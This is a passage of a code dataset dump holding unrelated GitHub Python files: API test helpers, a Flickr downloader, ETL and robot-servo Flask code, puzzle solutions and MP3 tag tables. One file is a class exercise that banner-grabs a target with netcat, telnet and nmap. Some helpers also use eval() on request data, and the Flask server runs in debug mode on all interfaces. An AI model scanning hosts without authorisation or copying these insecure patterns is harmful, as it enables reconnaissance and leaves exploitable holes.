= var[0:var.find(\".\")]\n #关联依赖中的变量\n dependValue = var[var.find(\".\")+1:]\n #替换依赖关系中的变量\n vars = jsonpath.jsonpath(jsonObj[dependKey], \"$.\"+dependValue)[0]\n listStr[index] = str(vars)\n #返回list对象\n return \"\".join(listStr)\n\n #接口请求共同方法\n def request(self, url, data, header, method, methodType):\n #接口的请求方式:post\n if method.lower() == \"post\":\n #以json串的形式提交数据\n if methodType == 'json':\n #将json对象转换成字符串\n body = json.dumps(eval(data))\n #header字符串转换成源对象\n header = eval(header)\n return requests.post(url, headers=header, data=body)\n #以表单的形式提交\n elif methodType == \"from\":\n print(\"post:\", url, header, data)\n return requests.post(url, headers=header, data=data)\n\n #接口的请求方式:get\n elif method.lower() == \"get\":\n #URL后面拼接参数的形式提交数据\n if methodType == 'url':\n #参数拼接在URL中\n if data is not None:\n url = \"%s?%s\"%(url , data)\n if header is not None :\n # 将json字符串转换成对象\n header = json.loads(header)\n #返回get请求的响应结果\n return requests.get(url=url, headers=header)\n #以params形式提交数据\n else:\n #返回响应结果\n return requests.get(url=url, params=data, headers=header)\n\n\n\n\nif __name__ == '__main__':\n jsonObj ={\"cartinfo\":{\"data\":[{\"cartid\": 8888}]},\n \"uservar\":{\"data\":[{\"openid\": \"XDVCCC\", \"userid\": \"adbcddd123456\"}]} ,\n \"productvar\":{\"data\":[{\"productid\": 187524233}]},\n \"loginvar\" : {\"token\":\"1234566666\"}\n }\n\n\n","repo_name":"shangxy111/autoTest","sub_path":"demo_001/operator_common.py","file_name":"operator_common.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"39506135434","text":"# 98.题目:从键盘输入一个字符串,将小写字母全部转换成大写字母,然后输出到一个磁盘文件\"test\"中保存。\n\n#学习这种写完读的方式\nif __name__ == '__main__':\n fp = open('test.txt','w')\n string = input('p:\\n')\n string = string.upper()#upper() 方法将字符串中的小写字母转为大写字母。\n fp.write(string)\n fp = open('test.txt','r')\n print (fp.read())\n","repo_name":"Silvia-man/test-","sub_path":"python习题/仅菜鸟上的/98.py","file_name":"98.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"70754294627","text":"from Space.space import * #My own little utility package\nimport flickr_api as Flickr\nimport requests\nimport json\n\n#https://www.flickr.com/services/api/explore/flickr.photos.search# to get url, or use methods\n\napi_key = 'xxxxxxxxxxxxxxxxxxx'\nsecret = 'xxxxxxxxxxxxxxxxx'\n\nFlickr.set_keys(api_key,secret)\n\nurl = 'https://www.flickr.com/services/rest/?method=flickr.photos.search&api_key={}=cairo&media=videos&per_page=500&format=json&nojsoncallback=1'.format(api_key)\nresponse = requests.get(url)\ndata = response.json()\nphotos = data['photos']['photo']\n\nprint(len(photos))\nprint(json.dumps(photos[0], indent=4, sort_keys=True))\n\n\nphoto=photos[0]\npic_id = photo['id']\npic = Flickr.Photo(id=pic_id)\npSizes = pic.getSizes()\nprint('\\n')\nprint(json.dumps(pSizes, indent=4, sort_keys=True))\n#print(pSizes['Site MP4']['url'])\n\nprint('\\t\\tid\\t\\t\\t\\t','owner\\t\\t\\t','title')\ncount=0\nfor photo in photos:\n ext = str(count)\n count+=1\n print(str(count)+': ',photo['id'],photo['owner'],photo['title'])\n pic_id = photo['id']\n pic = Flickr.Photo(id=pic_id)\n pSizes = pic.getSizes()\n if 'Site MP4' in pSizes:\n print(pSizes['Site MP4']['url'])#####################\n # if \"Large\" in pSizes:\n # try:\n # pic.save(data_path('chihuahuas\\\\chihuahua{}'.format(ext)), size_label=\"Large\") #Data path is from my own\n # #utilities library Space.space\n # #it points to my data folder\n # print('Large jpg Sucess!!!!!')\n # except:\n #\n # pass\n # elif \"Medium\" in pSizes:\n # try:\n # pic.save(data_path('chihuahuas\\\\chihuahua{}'.format(ext)), size_label=\"Medium\") #\n # print('Medium jpg Sucess!!!!!')\n # except:\n #\n # pass\n # else:\n # print('FAIL!!!!!')\n # continue","repo_name":"tonyt1272/Bare-bones-flickr-API-downloader","sub_path":"1_flikr_api_dloader.py","file_name":"1_flikr_api_dloader.py","file_ext":"py","file_size_in_byte":1959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"34907787635","text":"import unittest\nfrom bit_manipulation import Bit\n\nclass TestBit(unittest.TestCase):\n def test_get_bit(self):\n number = int('10001110', base=2)\n bit = Bit(number)\n self.assertEqual(bit.get_bit(index=3), True)\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"laith-k/personal-library","sub_path":"scripts/test_bit_manipulation.py","file_name":"test_bit_manipulation.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"71095029347","text":"import os\n\nfrom click import command\nfrom helpers.arg import command_line_args\n\nos.environ[\"API_KEY\"] = command_line_args.api_key\nos.environ[\"BASE_URL\"] = command_line_args.base_url\n\nfrom helpers.connector import Warehouse\nfrom api.rapidpro import pyRapid\nfrom helpers.utility_helpers import general\nfrom helpers.date_formatter import format_date\n\nif __name__ == '__main__':\n\ttry:\n\t\twarehouse = Warehouse()\n\t\tif command_line_args.start_time and command_line_args.end_time:\n\t\t\tprint(f\"Using start and end time from user input\")\n\t\t\tstart_time = format_date(command_line_args.start_time, b'start_date')\n\t\t\tend_time = format_date(command_line_args.end_time, b'end_date')\n\t\telse:\n\t\t\tmax_date = warehouse.query('SQL/MaxDates/get_max_flowrun.sql',command_line_args.org_id)\n\t\t\tstart_time= max_date[b'start_date']\n\t\t\tend_time = max_date[b'end_date']\n\t\tprint(\"Running rpp_ftbl_flows_flowrun for start date, end date and org id\",start_time,end_time,command_line_args.org_id)\n\t\tprint(\"Start time is \", start_time)\n\t\tprint(\"End time is \", end_time)\n\t\tdef fix_datetime(s):\n\t\t\tif \".\" not in s:\n\t\t\t\tassert s.endswith(\"Z\")\n\t\t\t\ts = s[:-1] + \".0Z\"\n\t\t\treturn s\n\n\t\tflows_flow_run = pyRapid.rpp_ftbl_flows_flowrun.get_runs(before=end_time, after=start_time, org_id=command_line_args.org_id)\n\t\tflows_flow_run['created_on'] = flows_flow_run['created_on'].apply(fix_datetime)\n\t\twarehouse.drop('staging_rpp_ftbl_flows_flowrun')\n\t\t\n\t\tif general.is_not_empty(flows_flow_run):\n\t\t\twarehouse.load(flows_flow_run,'staging_rpp_ftbl_flows_flowrun', \"replace\")\n\t\t\twarehouse.update(file_name='SQL/Conflicts/rpp_ftbl_flow_flows_run_conflict.sql')\n\t\t\twarehouse.update(file_name='SQL/Analytic/rpp_ftbl_flows_flow_run_update.sql')\n\t\t\twarehouse.drop('staging_rpp_ftbl_flows_flowrun')\n\t\t\n\t\tprint('data warehouse updated')\n\n\texcept Exception as e:\n\t\traise\n","repo_name":"girleffect/chhaajaa","sub_path":"rapidpro/rpp_ftbl_flows_flowrun.py","file_name":"rpp_ftbl_flows_flowrun.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"2629051937","text":"from golem import actions\n\nfrom projects.golem_integration.utils import expected_exception\n\n\ndescription = 'Verify webdriver.wait_for_element_not_enabled method'\n\ndef test(data):\n actions.navigate(data.env.url+'dynamic-elements/?delay=3')\n actions.wait_for_element_not_enabled('#button-four', timeout=5)\n actions.verify_element_not_enabled('#button-four')\n actions.navigate(data.env.url + 'dynamic-elements/?delay=5')\n msg = 'Timeout waiting for element #button-four to be not enabled'\n with expected_exception(Exception, msg):\n actions.get_browser().wait_for_element_not_enabled('#button-four', timeout=3)\n","repo_name":"golemhq/golem-tests","sub_path":"projects/golem_integration/tests/browser/wait_for_element_not_enabled.py","file_name":"wait_for_element_not_enabled.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"29766363664","text":"# n 스위치의 개수 ; 100이하인 양수\n\nn = int(input())\n# 각 스위치의 상태 1 켜져 0 꺼져\nn_arr = list(map(int, input().split()))\n# 학생의 수\nstu_num = int(input())\n# 학생의 성별, 학생이 받은 수 남 : 1 여 2 ; 스위치 개수 이하인 양수\nstu_arr = [list(map(int, input().split())) for _ in range(stu_num)]\n\nfor line in stu_arr:\n if line[0] == 1:\n for i in range(line[1], len(n_arr) + 1, line[1]):\n n_arr[i - 1] = 1 if n_arr[i - 1] == 0 else 0\n\n elif line[0] == 2:\n n_arr[line[1] - 1] = 1 if n_arr[line[1] - 1] == 0 else 0\n\n minus = 2\n plus = 0\n while True:\n try:\n if line[1] - minus >= 0:\n if n_arr[line[1] - minus] == n_arr[line[1] + plus]:\n n_arr[line[1] - minus] = 1 if n_arr[line[1] - minus] == 0 else 0\n n_arr[line[1] + plus] = 1 if n_arr[line[1] + plus] == 0 else 0\n minus += 1\n plus += 1\n else:\n break\n else:\n break\n except Exception:\n break\nfor index, value, in enumerate(n_arr):\n if index != 0 and index % 20 == 0:\n print()\n print(value, end=\" \")","repo_name":"qkrtkdwns3410/JumpToPython","sub_path":"백준/Silver/1244. 스위치 켜고 끄기/스위치 켜고 끄기.py","file_name":"스위치 켜고 끄기.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"12378964850","text":"# 시간 제한 2초\nimport sys\n\ninput = sys.stdin.readline\ncheckList = [0] * 4\nmyList = [0] * 4\ncheckValid = 0\n\n\ndef addlist(c):\n global checkValid, checkList, myList\n if c == 'A':\n myList[0] += 1\n if myList[0] == checkList[0]:\n checkValid += 1\n elif c == 'C':\n myList[1] += 1\n if myList[1] == checkList[1]:\n checkValid += 1\n elif c == 'G':\n myList[2] += 1\n if myList[2] == checkList[2]:\n checkValid += 1\n elif c == 'T':\n myList[3] += 1\n if myList[3] == checkList[3]:\n checkValid += 1\n\n\ndef removelist(c):\n global checkValid, checkList, myList\n if c == 'A':\n if myList[0] == checkList[0]:\n checkValid -= 1\n myList[0] -= 1\n elif c == 'C':\n if myList[1] == checkList[1]:\n checkValid -= 1\n myList[1] -= 1\n elif c == 'G':\n if myList[2] == checkList[2]:\n checkValid -= 1\n myList[2] -= 1\n elif c == 'T':\n if myList[3] == checkList[3]:\n checkValid -= 1\n myList[3] -= 1\n\n\nS, P = map(int, input().split())\nchar_list = list(input())\ncheckList = list(map(int, input().split()))\nanswer = 0\n\nfor i in range(4):\n if checkList[i] == 0:\n checkValid += 1\n\nfor i in range(P):\n addlist(char_list[i])\n\nif checkValid == 4:\n answer += 1\n\nfor i in range(P, S):\n remove_idx = i - P\n addlist(char_list[i])\n removelist(char_list[remove_idx])\n if checkValid == 4:\n answer += 1\n\nprint(answer)\n\n# 내 풀이: 시간 초과\n# for i in range(S-P+1):\n# flag = 1\n# end = i + P\n# count = [0] * 4\n#\n# for j in range(i, end):\n# if char_list[j] == 'A':\n# count[0] += 1\n# elif char_list[j] == 'C':\n# count[1] += 1\n# elif char_list[j] == 'G':\n# count[2] += 1\n# elif char_list[j] == 'T':\n# count[3] += 1\n#\n# for j in range(4):\n# if check[j] > count[j]:\n# flag = 0\n# break\n#\n# if flag == 1:\n# answer += 1\n","repo_name":"famo1245/Algorithm_with_Python","sub_path":"chap3/q9.py","file_name":"q9.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"30368469120","text":"import sys, os, subprocess, boto3, json\nfrom shutil import which\n\ndef check_terraform(root):\n if which(\"terraform\") is None:\n scriptpath = root + '/controll-app/src/scripts/install-terraform.sh'\n subprocess.call(scriptpath, shell=True)\n\ndef refresh_outputs(root):\n outputs = open(root + '/controll-app/src/data/outputs.json', 'w')\n refresh_log = open(root + '/controll-app/src/log/refresh.log', 'w')\n os.chdir(root + \"/terraform/stg\")\n subprocess.call(['terraform', 'refresh'], stdout=refresh_log)\n subprocess.call(['terraform', 'output', '-json'], stdout=outputs)\n\ndef parse_json(file):\n res = ''\n with open(file, 'r') as f:\n res = json.loads(f.read().replace('\\n', ''))\n return res\n","repo_name":"SvyatoslavFedynyak/coursework-6term","sub_path":"controll-app/src/classes/funcs.py","file_name":"funcs.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"40827253531","text":"from __future__ import division\nimport time\nimport os\n\nfrom flask import Flask, render_template,redirect, Response\n\nfrom flask_restful import Api\nfrom flask_cors import CORS, cross_origin\nimport logging\nimport sys\n# from models.hexapod.view import app\napp = Flask(__name__, template_folder='./templates/')\napp.secret_key = \"Secret Key\"\napi = Api(app)\ncors = CORS(app)\n\napp.secret_key = os.urandom(24)\napp.config['CORS_HEADERS'] = 'Content-Type'\n# app.register_bluseprint(app, url_prefix=\"/hexapod\")\n\n\n\n\n\n# Import the PCA9685 module.\n# from \nimport Adafruit_PCA9685\n# import adafruit_pca9685\n# import RPi.GPIO as GPIO \nfrom time import sleep \n\n\n\npwm1 = Adafruit_PCA9685.PCA9685(address=0x40)\npwm2 = Adafruit_PCA9685.PCA9685(address=0x41)\n# Configure min and max servo pulse lengths\nservo_min = 150 # Min pulse length out of 4096\nservo_max = 600 # Max pulse length out of 4096\n\n# Helper function to make setting a servo pulse width simpler.\ndef set_servo_pulse(channel, pulse):\n pulse_length = 1000000 # 1,000,000 us per second\n pulse_length //= 60 # 60 Hz\n print('{0}us per period'.format(pulse_length))\n pulse_length //= 4096 # 12 bits of resolution\n print('{0}us per bit'.format(pulse_length))\n pulse *= 1000\n pulse //= pulse_length\n pwm1.set_pwm(channel, 0, pulse)\n pwm2.set_pwm(channel, 0, pulse)\n\n# Set frequency to 60hz, good for servos.\npwm1.set_pwm_freq(60)\npwm2.set_pwm_freq(60)\n\n\nimport json\nimport datetime\nimport uuid\n\n\n\n\n@app.route('/right', methods=['GET', 'POST'])\ndef right():\n pwm2.set_pwm(1, 0, 150)\n pwm1.set_pwm(4, 0, 150)\n pwm2.set_pwm(7, 0, 150)\n time.sleep(0.5)\n\n pwm2.set_pwm(0, 0, 300)\n pwm1.set_pwm(3, 0, 300)\n pwm2.set_pwm(6, 0, 300)\n time.sleep(0.5)\n\n pwm2.set_pwm(1, 0, 280)\n pwm1.set_pwm(4, 0, 260)\n pwm2.set_pwm(7, 0, 260)\n time.sleep(0.5)\n\n pwm2.set_pwm(4, 0, 150)\n pwm1.set_pwm(7, 0, 150)\n pwm1.set_pwm(1, 0, 150)\n time.sleep(0.5)\n \n pwm2.set_pwm(0, 0, 400)\n pwm1.set_pwm(3, 0, 400)\n pwm2.set_pwm(6, 0, 400)\n time.sleep(0.5)\n\n pwm2.set_pwm(3, 0, 300)\n pwm1.set_pwm(6, 0, 300)\n pwm1.set_pwm(0, 0, 300)\n time.sleep(0.5)\n\n pwm2.set_pwm(4, 0, 250)\n pwm1.set_pwm(7, 0, 250)\n pwm1.set_pwm(1, 0, 250)\n time.sleep(0.5)\n\n pwm2.set_pwm(1, 0, 150)\n pwm1.set_pwm(4, 0, 150)\n pwm2.set_pwm(7, 0, 150)\n time.sleep(0.5)\n\n pwm2.set_pwm(3, 0, 400)\n pwm1.set_pwm(6, 0, 400)\n pwm1.set_pwm(0, 0, 400)\n time.sleep(0.5)\n\n pwm2.set_pwm(1, 0, 280)\n pwm1.set_pwm(4, 0, 260)\n pwm2.set_pwm(7, 0, 260)\n time.sleep(0.5)\n return redirect(\"http:127.0.0.1:6200\", code=200)\n\n\n@app.route('/left', methods=['GET', 'POST'])\ndef left():\n print(\"left\")\n pwm2.set_pwm(1, 0, 150)\n pwm1.set_pwm(4, 0, 150)\n pwm2.set_pwm(7, 0, 150)\n time.sleep(0.5)\n\n pwm2.set_pwm(0, 0, 500)\n pwm1.set_pwm(3, 0, 500)\n pwm2.set_pwm(6, 0, 500)\n time.sleep(0.5)\n\n pwm2.set_pwm(1, 0, 280)\n pwm1.set_pwm(4, 0, 260)\n pwm2.set_pwm(7, 0, 260)\n time.sleep(0.5)\n\n pwm2.set_pwm(4, 0, 150)\n pwm1.set_pwm(7, 0, 150)\n pwm1.set_pwm(1, 0, 150)\n time.sleep(0.5)\n \n pwm2.set_pwm(0, 0, 400)\n pwm1.set_pwm(3, 0, 400)\n pwm2.set_pwm(6, 0, 400)\n time.sleep(0.5)\n\n pwm2.set_pwm(3, 0, 500)\n pwm1.set_pwm(6, 0, 500)\n pwm1.set_pwm(0, 0, 500)\n time.sleep(0.5)\n\n pwm2.set_pwm(4, 0, 250)\n pwm1.set_pwm(7, 0, 250)\n pwm1.set_pwm(1, 0, 250)\n time.sleep(0.5)\n\n pwm2.set_pwm(1, 0, 150)\n pwm1.set_pwm(4, 0, 150)\n pwm2.set_pwm(7, 0, 150)\n time.sleep(0.5)\n\n pwm2.set_pwm(3, 0, 400)\n pwm1.set_pwm(6, 0, 400)\n pwm1.set_pwm(0, 0, 400)\n time.sleep(0.5)\n\n pwm2.set_pwm(1, 0, 280)\n pwm1.set_pwm(4, 0, 260)\n pwm2.set_pwm(7, 0, 260)\n time.sleep(0.5)\n print(\"success\")\n return redirect(\"http:127.0.0.1:6200\", code=200)\n\n@app.route('/up', methods=['GET', 'POST'])\ndef halfMotion():\n pwm2.set_pwm(5, 0, 150)\n pwm2.set_pwm(4, 0, 150)\n pwm1.set_pwm(7, 0, 280)\n pwm1.set_pwm(8, 0, 230)\n pwm1.set_pwm(2, 0, 250)\n pwm1.set_pwm(1, 0, 230)\n time.sleep(0.5)\n\n pwm2.set_pwm(3, 0, 330)\n time.sleep(0.5)\n\n pwm2.set_pwm(4, 0, 250)\n pwm1.set_pwm(0, 0, 420)\n pwm1.set_pwm(2, 0, 150)\n time.sleep(0.5)\n\n pwm1.set_pwm(4, 0, 200)\n pwm2.set_pwm(1, 0, 200)\n pwm2.set_pwm(7, 0, 200)\n time.sleep(0.5)\n\n pwm1.set_pwm(0, 0, 400)\n pwm1.set_pwm(1, 0, 280)\n pwm1.set_pwm(2, 0, 190)\n pwm1.set_pwm(7, 0, 250)\n pwm1.set_pwm(8, 0, 150)\n pwm2.set_pwm(3, 0, 400)\n standUp()\n return redirect(\"http:127.0.0.1:6200\", code=200)\n\n\n@app.route('/standup', methods=['GET', 'POST'])\ndef standUp():\n pwm1.set_pwm(0, 0, 400)\n pwm1.set_pwm(3, 0, 400)\n pwm1.set_pwm(6, 0, 400)\n pwm2.set_pwm(0, 0, 400)\n pwm2.set_pwm(3, 0, 400)\n pwm2.set_pwm(6, 0, 400)\n\n time.sleep(1)\n\n pwm1.set_pwm(2, 0, 150)\n pwm1.set_pwm(5, 0, 150)\n pwm1.set_pwm(8, 0, 150)\n pwm2.set_pwm(2, 0, 150)\n pwm2.set_pwm(5, 0, 150)\n pwm2.set_pwm(8, 0, 150)\n time.sleep(1)\n pwm1.set_pwm(1, 0, 250)\n pwm1.set_pwm(4, 0, 260)\n pwm1.set_pwm(7, 0, 250)\n pwm2.set_pwm(1, 0, 280)\n pwm2.set_pwm(4, 0, 250)\n pwm2.set_pwm(7, 0, 260)\n time.sleep(1)\n return redirect(\"http:127.0.0.1:6200\", code=200)\n \n\n\n\n\n\n@app.route('/')\ndef index():\n return render_template('ui.html')\n\nif __name__ == \"__main__\":\n\n app.run(host=\"0.0.0.0\", debug=True, port=5000, threaded=True)\n\n\n\nimport cv2\ncamera = cv2.VideoCapture(0) # use 0 for web camera\n# for cctv camera use rtsp://username:password@ip_address:554/user=username_password='password'_channel=channel_number_stream=0.sdp' instead of camera\n# for local webcam use cv2.VideoCapture(0)\n\ndef gen_frames(): # generate frame by frame from camera\n while True:\n # Capture frame-by-frame\n success, frame = camera.read() # read the camera frame\n if not success:\n break\n else:\n ret, buffer = cv2.imencode('.jpg', frame)\n frame = buffer.tobytes()\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n') # concat frame one by one and show result\n\n@app.route('/video_feed')\ndef video_feed():\n #Video streaming route. Put this in the src attribute of an img tag\n return Response(gen_frames(), mimetype='multipart/x-mixed-replace; boundary=frame')\n","repo_name":"sats268842/jobso-hexapod","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"37883629571","text":"from django.shortcuts import render, reverse\nfrom datetime import datetime\nfrom django.templatetags.static import static\nfrom django.conf import settings\nimport os\nfrom django.http import FileResponse\nimport urllib.parse\n\nfrom deskbuddy.persistence import get_storage_obj\n\nstorage = get_storage_obj()\n\n\ndef index(request):\n date_str = datetime.now().strftime('%I:%M:%S %p')\n\n context = {\n 'time': date_str,\n }\n return render(request, 'deskbuddy/index.html', context)\n\n\ndef photos(request):\n cwd = settings.PHOTO_ROOT\n # paths = [reverse('photo', args=(os.path.join(cwd, f),)) for f in os.listdir(cwd) if\n paths = [reverse('photo', args=(urllib.parse.quote(storage.build_path(cwd, f), safe=''),)) for f in storage.list(cwd) if\n # os.path.isfile(os.path.join(cwd, f))]\n storage.is_file(storage.build_path(cwd, f))]\n names = [f for f in storage.list(cwd) if\n # os.path.isfile(os.path.join(cwd, f))]\n storage.is_file(storage.build_path(cwd, f))]\n context = {\n 'path': paths,\n 'photo_descr': names\n }\n return render(request, 'deskbuddy/photos.html', context)\n\n\ndef photo(request, path):\n decoded_path = urllib.parse.unquote(path)\n img = storage.read(decoded_path)\n\n response = FileResponse(img)\n\n return response\n","repo_name":"eleric/deskbuddy","sub_path":"deskbuddy/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"1196199154","text":"#!/bin/python\n\n#Script: Ops 401 Class 36 Ops Challenge Solution\n#Author: Marco Aliaga\n#Date of latest revision: 7 JUN 2023\n#Purpose: In Python create a script that executes from a Linux box to perform the following:\n ## Prompts the user to type a URL or IP address.\n ## Prompts the user to type a port number.\n ## Performs banner grabbing using netcat against the target address at the target port; prints the results to the screen then moves on to the step below.\n ## Performs banner grabbing using telnet against the target address at the target port; prints the results to the screen then moves on to the step below.\n ## Performs banner grabbing using Nmap against the target address of all well-known ports; prints the results to the screen.\n\n\n#Main\nimport os\nimport subprocess\n\n# Function to perform banner grabbing using netcat\ndef netcat_banner_grabbing(target_address, port):\n try:\n output = subprocess.check_output(['nc', '-vz', '-w', '2', target_address, str(port)], stderr=subprocess.STDOUT)\n print(output.decode())\n except subprocess.CalledProcessError as e:\n print(\"Error:\", e.output.decode())\n\n# Function to perform banner grabbing using telnet\ndef telnet_banner_grabbing(target_address, port):\n try:\n output = subprocess.check_output(['telnet', target_address, str(port)], stderr=subprocess.STDOUT)\n print(output.decode())\n except subprocess.CalledProcessError as e:\n print(\"Error:\", e.output.decode())\n\n# Function to perform banner grabbing using Nmap\ndef nmap_banner_grabbing(target_address):\n try:\n output = subprocess.check_output(['nmap', '-sV', target_address], stderr=subprocess.STDOUT)\n print(output.decode())\n except subprocess.CalledProcessError as e:\n print(\"Error:\", e.output.decode())\n\n# Prompt user for input\ntarget_address = input(\"Enter the target URL or IP address: \")\nport = int(input(\"Enter the target port number: \"))\n\n# Perform banner grabbing using netcat\nprint(\"Banner grabbing using netcat:\")\nnetcat_banner_grabbing(target_address, port)\nprint()\n\n# Perform banner grabbing using telnet\nprint(\"Banner grabbing using telnet:\")\ntelnet_banner_grabbing(target_address, port)\nprint()\n\n# Perform banner grabbing using Nmap\nprint(\"Banner grabbing using Nmap:\")\nnmap_banner_grabbing(target_address)\n\n#End\n","repo_name":"kharne8/ops-401d6-opsChallenges","sub_path":"ch36.py","file_name":"ch36.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"37729156470","text":"encoding = {0: 'ISO-8859-1',\n 1: 'UTF-16',\n 2: 'UTF-16BE',\n 3: 'UTF-8'}\n\npicture_type = {0: 'Other',\n 1: \"32x32 pixels 'file icon' (PNG only)\",\n 2: 'Other file icon',\n 3: 'Cover (front)',\n 4: 'Cover (back)',\n 5: 'Leaflet page',\n 6: 'Media (e.g. lable side of CD)',\n 7: 'Lead artist/lead performer/soloist',\n 8: 'Artist/performer',\n 9: 'Conductor',\n 10: 'Band/Orchestra',\n 11: 'Composer',\n 12: 'Lyricist/text writer',\n 13: 'Recording Location',\n 14: 'During recording',\n 15: 'During performance',\n 16: 'Movie/video screen capture',\n 17: 'A bright coloured fish',\n 18: 'Illustration',\n 19: 'Band/artist logotype',\n 20: 'Publisher/Studio logotype'}\n\nlogotype = {0: 'Other',\n 1: 'Standard CD album with other songs',\n 2: 'Compressed audio on CD',\n 3: 'File over the Internet',\n 4: 'Stream over the Internet',\n 5: 'As note sheets',\n 6: 'As note sheets in a book with other sheets',\n 7: 'Music on other media',\n 8: 'Non-musical merchandise'}\n\nmodes = {'00': 'Stereo',\n '01': 'Joint stereo',\n '10': 'Dual channel',\n '11': 'Mono'}\n\nbitrates = {'0000': 40,\n '0001': 32,\n '0010': 40,\n '0011': 48,\n '0100': 56,\n '0101': 64,\n '0110': 80,\n '0111': 96,\n '1000': 112,\n '1001': 128,\n '1010': 160,\n '1011': 192,\n '1100': 224,\n '1101': 256,\n '1110': 320,\n '1111': 'bad'}\n\nfrequencies = {'00': 44100,\n '01': 48000,\n '10': 32000,\n '11': 'reserv'}\n\nformat = {1: 'Absolute time, 32 bit sized, using MPEG frames as unit',\n 2: 'Absolute time, 32 bit sized, using milliseconds as unit'}\n\ncontent = {0: 'other',\n 1: 'lyrics',\n 2: 'text transcription',\n 3: 'movement/part name',\n 4: 'events',\n 5: 'chord',\n 6: \"trivia/'pop up' information\"}\n\nscale_factor_compress = {0: (0, 0),\n 1: (0, 1),\n 2: (0, 2),\n 3: (0, 3),\n 4: (3, 0),\n 5: (1, 1),\n 6: (1, 2),\n 7: (1, 3),\n 8: (2, 1),\n 9: (2, 2),\n 10: (2, 3),\n 11: (3, 1),\n 12: (3, 2),\n 13: (3, 3),\n 14: (4, 2),\n 15: (4, 3)}\n\ntags = {'AENC': 'Audio encryption',\n 'APIC': 'Attached picture',\n 'COMM': 'Comments',\n 'COMR': 'Commercial frame',\n 'ENCR': 'Encryption method registration',\n 'EQUA': 'Equalization',\n 'ETCO': 'Event timing codes',\n 'GEOB': 'General encapsulated object',\n 'GRID': 'Group identification registration',\n 'IPLS': 'Involved people list',\n 'LINK': 'Linked information',\n 'MCDI': 'Music CD identifier',\n 'MLLT': 'MPEG location lookup table',\n 'OWNE': 'Ownership frame',\n 'PRIV': 'Private frame',\n 'PCNT': 'Play counter',\n 'POPM': 'Popularimeter',\n 'POSS': 'Position synchronisation frame',\n 'RBUF': 'Recommended buffer size',\n 'RVAD': 'Relative volume adjustment',\n 'RVRB': 'Reverb',\n 'SYLT': 'Synchronized lyric/text',\n 'SYTC': 'Synchronized tempo codes',\n 'TALB': 'Album/Movie/Show title',\n 'TBPM': 'BPM (beats per minute)',\n 'TCOM': 'Composer',\n 'TCON': 'Content type',\n 'TCOP': 'Copyright message',\n 'TDAT': 'Date',\n 'TDLY': 'Playlist delay',\n 'TENC': 'Encoded by',\n 'TEXT': 'Lyricist/Text writer',\n 'TFLT': 'File type',\n 'TIME': 'Time',\n 'TIT1': 'Content group description',\n 'TIT2': 'Title/songname/content description',\n 'TIT3': 'Subtitle/Description refinement',\n 'TKEY': 'Initial key',\n 'TLAN': 'Language(s)',\n 'TLEN': 'Length',\n 'TMED': 'Media type',\n 'TOAL': 'Original album/movie/show title',\n 'TOFN': 'Original filename',\n 'TOLY': 'Original lyricist(s)/text writer(s)',\n 'TOPE': 'Original artist(s)/performer(s)',\n 'TORY': 'Original release year',\n 'TOWN': 'File owner/licensee',\n 'TPE1': 'Lead performer(s)/Soloist(s)',\n 'TPE2': 'Band/orchestra/accompaniment',\n 'TPE3': 'Conductor/performer refinement',\n 'TPE4': 'Interpreted, remixed, or otherwise modified by',\n 'TPOS': 'Part of a set',\n 'TPUB': 'Publisher',\n 'TRCK': 'Track number/Position in set',\n 'TRDA': 'Recording dates',\n 'TRSN': 'Internet radio station name',\n 'TRSO': 'Internet radio station owner',\n 'TSIZ': 'Size',\n 'TSRC': 'ISRC (international standard recording code)',\n 'TSSE': 'Software/Hardware and settings used for encoding',\n 'TYER': 'Year',\n 'TXXX': 'User defined text information frame',\n 'UFID': 'Unique file identifier',\n 'USER': 'Terms of use',\n 'USLT': 'Unsychronized lyric/text transcription',\n 'WCOM': 'Commercial information',\n 'WCOP': 'Copyright/Legal information',\n 'WOAF': 'Official audio file webpage',\n 'WOAR': 'Official artist/performer webpage',\n 'WOAS': 'Official audio source webpage',\n 'WORS': 'Official internet radio station homepage',\n 'WPAY': 'Payment',\n 'WPUB': 'Publishers official webpage',\n 'WXXX': 'User defined URL link frame',\n 'BUF': 'Recommended buffer size',\n 'CNT': 'Play counter',\n 'COM': 'Comments',\n 'CRA': 'Audio encryption',\n 'CRM': 'Encrypted meta frame',\n 'ETC': 'Event timing codes',\n 'EQU': 'Equalization',\n 'GEO': 'General encapsulated object',\n 'IPL': 'Involved people list',\n 'LNK': 'Linked information',\n 'MCI': 'Music CD Identifier',\n 'MLL': 'MPEG location lookup table',\n 'PIC': 'Attached picture',\n 'POP': 'Popularimeter',\n 'REV': 'Reverb',\n 'RVA': 'Relative volume adjustment',\n 'SLT': 'Synchronized lyric/text',\n 'STC': 'Synced tempo 